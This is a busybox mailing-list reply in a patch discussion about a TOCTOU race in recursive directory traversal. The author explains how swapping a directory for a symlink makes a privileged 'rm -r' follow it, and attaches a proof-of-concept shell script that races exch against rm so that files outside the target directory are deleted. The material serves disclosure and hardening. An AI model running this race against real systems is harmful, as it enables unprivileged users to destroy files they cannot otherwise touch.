Re: [PATCH] busybox: fix TOCTOU race in various directory traversal

Sertonix via busybox <[email protected]>
Newsgroups gmane.linux.busybox
Message-ID <[email protected]>
> Please describe exact testcases of the attacks you defend against.

I have attached a demonstration script for the issue with rm -r. The
script intentionally slows down the rm process to make the issue easier
to reproduce but the same issue should be possible (but potentially
difficult) without. The TOCTOU race is possible when between the fstat
call stat call used to check for a directory and the opendir call to get
a fd for the directory. Between these moments the directory can be
replaced with a symlink pointing to any path and opendir will follow
that symlink when getting the fd.

The same pattern of *stat + opendir exists in multiple places of the
code and I decided to proactively harden these code paths against
potential similar issues as well by changing the shared recursive_action.

One might notice that even with my change a directory could have been
replaced with a symlink between stat and opendir but that was mitigated
by using O_DIRECTORY|O_NOFOLLOW (or other calls that would fail if the
type changed).

> The code is going to be evolving in the future.
> The future core readers need to understand
> what needs to be avoided,

I understand, please ask again if something wasn't understandable enough!

_______________________________________________
busybox mailing list
[email protected]
https://lists.busybox.net/mailman/listinfo/busybox
test.sh (application/x-shellscript, 784 B)
files=10000

# Dependencies:
# - util-linux: for exch
# - strace: for slowdown
# - busybox

while :; do
	rm -rf link private tmp

	mkdir -p tmp/subdir private
	for i in $(seq $files); do
		touch tmp/subdir/$i private/$i
	done
	{
		# Malicious process which only has access to create/change files in
		# tmp/
		ln -s ../private tmp/link
		while exch tmp/subdir tmp/link; do :; done
	} &
	pid=$!

	# (Privilidged) cleanup process like /etc/init.d/bootmisc:
	# strace and -v are only to slow down rm.
	# -f is to stop asking questions if rm is confused.
	strace -o slow-1 busybox rm -r -f -v tmp > slow-2

	kill -TERM "$pid" 2>/dev/null
	wait

	count=$(ls private | wc -l)
	if [ "$count" != "$files" ]; then
		printf 'It worked! %s of %s files left\n' "$count" "$files"
		break
	fi
done
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.